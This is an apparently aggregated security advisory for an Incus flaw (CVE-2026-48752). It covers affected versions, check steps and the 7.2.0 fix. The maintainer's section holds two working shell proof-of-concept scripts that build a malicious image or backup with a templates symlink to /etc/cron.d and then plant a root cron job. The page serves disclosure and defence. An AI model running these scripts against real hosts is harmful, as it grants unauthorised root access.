---
id: "CVE-2026-48752"
page: "https://infrastack.ai/live/CVE-2026-48752"
kind: "vulnerability"
aliases: ["CVE-2026-48752", "GHSA-vxp5-584q-c479"]
title: "Incus has arbitrary file read+write on host via templates/ symlink in malicious image"
severity: "critical"
cvss: 9.9
epss: 0.00731
exploited: false
status: "open"
category: "runtime"
products: [{"name": "github.com/lxc/incus/v7/cmd/incusd", "fixed": ["7.2.0"], "affected": "< 7.2.0", "ecosystem": "go"}]
ecosystems: ["go"]
tags: ["containers", "cwe-73", "incus", "linux", "runtime", "self-hosted"]
not_affected_if: ["incus-patched-7.2.0", "trusted-images-only"]
published_at: "2026-06-26T18:46:31+00:00"
first_seen_at: "2026-11-05T23:17:34+00:00"
updated_at: "2026-11-05T23:17:39+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-vxp5-584q-c479", "first_seen_at": "2026-11-05T23:17:34+00:00"}, {"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48752", "first_seen_at": "2026-11-05T23:48:40+00:00"}]
exploit_sources: [{"type": "epss", "score": 0.00731, "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-48752"}]
---

# Incus has arbitrary file read+write on host via templates/ symlink in malicious image

Link for people: https://infrastack.ai/live/CVE-2026-48752 (this .md is for agents)

Incus, a container and virtual machine manager, can be tricked by a crafted container image or instance backup that contains a symlink named templates, letting it access arbitrary host directories. An attacker can read and write arbitrary files on the host, possibly leading to command execution as root, for example by planting a cron job.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- go:github.com/lxc/incus/v7/cmd/incusd affected < 7.2.0 fixed 7.2.0

## How to check

- Check the installed version with `incusd --version` and compare it against the fixed release.
- Look for whether untrusted images or instance backups are imported with `incus image import` or `incus import`.
- Review who can run `incus image import` and `incus import` on the host.

## Fix

- Incus `7.2.0` (affected versions are earlier than `7.2.0`).

## Timeline

- 2026-11-05T23:17:34+00:00 ghsa https://github.com/advisories/GHSA-vxp5-584q-c479
- 2026-11-05T23:48:40+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2026-48752

## Documents

- [advisory] Maintainer's advisory: api.github.com https://api.github.com/repos/lxc/incus/security-advisories/GHSA-vxp5-584q-c479
- [advisory] Maintainer's advisory: github.com https://github.com/lxc/incus/security/advisories/GHSA-vxp5-584q-c479

## From the sources

### Summary

A specially crafted image or instance backup can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution.


### Details

For container images, `internal/server/storage/utils.go` calls `archive.Unpack(imageFile, destPath, ...)`. The tar extraction path in `shared/archive/archive.go` excludes device nodes, but it does not reject a top-level `templates` symlink.

For instance backups, `internal/server/storage/drivers/driver_dir_volumes.go:rsync.LocalCopy` uses argument `-a` (archive mode), but does not add `--safe-links`. This allows a top-level `templates` symlink.

In practice, this allows a malicious actor to access an arbitrary directory and edit arbitrary files in it.


### PoC

#### Malicious container image

Below, the templates directory is  mapped to `/etc/cron.d` on the host, but it can be mapped anywhere. After that, create a cronjob to run `id` as root.

```
#!/bin/sh
set -eu

tmpdir=$(mktemp -d)
cleanup() {
    rm -rf "${tmpdir}"
}
trap cleanup EXIT INT QUIT TERM HUP

mkdir -p "${tmpdir}/img/rootfs"
ln -s /etc/cron.d "${tmpdir}/img/templates"
cat<<__EOF__>"${tmpdir}/img/metadata.yaml"
architecture: x86_64
creation_date: 1
properties:
  description: PoC templates symlink host afrw
__EOF__

cd "${tmpdir}/img"
tar --owner=0 --group=0 -f- -c * >../afrw-image-templates-symlink.tar
incus image import ../afrw-image-templates-symlink.tar --alias afrw-image-templates-symlink
incus init afrw-image-templates-symlink afrw-image-templates-symlink

incus config template ls afrw-image-templates-symlink

# read
#incus config template show afrw-image-templates-symlink $FILENAME

# write
printf "* * * * * root sh -c 'id>/pwned'\n" | incus config template create afrw-image-templates-symlink poc-32
#incus config template edit afrw-image-templates-symlink poc
```

#### Malicious instance backup


Below, the templates directory is mapped to `/etc/cron.d` on the host, but it can be mapped anywhere. After that, create a cronjob to run `id` as root.

```
#!/bin/sh
set -eu

tmpdir=$(mktemp -d)
cleanup() {
    rm -rf "${tmpdir}"
}
trap cleanup EXIT INT QUIT TERM HUP

mkdir -p "${tmpdir}/img/backup"
cat<<__EOF__>"${tmpdir}/img/backup/index.yaml"
name: afrw-backup-templates-symlink
backend: dir
pool: default
type: container
optimized: false
__EOF__

mkdir "${tmpdir}/img/backup/container"
cat<<__EOF__>"${tmpdir}/img/backup/container/backup.yaml"
container:
  name: afrw-backup-templates-symlink
  architecture: x86_64
  type: container
  status: Stopped
  status_code: 102
  stateful: false
  ephemeral: false
  profiles:
    - default
  config:
    volatile.uuid: 58a0f7de-2490-4e85-9fb2-153ef0fc7be5
    volatile.uuid.generation: 24d829e5-d74a-4285-88c0-be369140fb49
  expanded_config:
    volatile.uuid: 58a0f7de-2490-4e85-9fb2-153ef0fc7be5
    volatile.uuid.generation: 24d829e5-d74a-4285-88c0-be369140fb49
  devices: {}
  expanded_devices:
    root:
      path: /
      pool: default
      type: disk
  created_at: "2024-01-01T00:00:00Z"
  last_used_at: "2024-01-01T00:00:00Z"
volume:
  name: afrw-backup-templates-symlink
  type: container
  content_type: filesystem
  config: {}
pool:
  name: default
  driver: dir
  config: {}
__EOF__

cat<<__EOF__>"${tmpdir}/img/backup/container/metadata.yaml"
architecture: x86_64
creation_date: 1
properties:
  description: afrw-backup-templates-symlink
__EOF__

mkdir "${tmpdir}/img/backup/container/rootfs"
ln -s /etc/cron.d "${tmpdir}/img/backup/container/templates"

cd "${tmpdir}/img"
tar --owner=0 --group=0 -f- -c backup >../afrw-backup-templates-symlink.tar
incus import ../afrw-backup-templates-symlink.tar afrw-backup-templates-symlink

incus config template ls afrw-backup-templates-symlink

# read
#incus config template show afrw-backup-templates-symlink $FILENAME

# write
printf "* * * * * root sh -c 'id>/pwned'\n" | incus config template create afrw-backup-templates-symlink poc-32
#incus config template edit afrw-templates-symlink poc
```

### Impact

Arbitrary file read and write on the host via unsanitized symlink; possibly leading to command execution.

---

_Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai_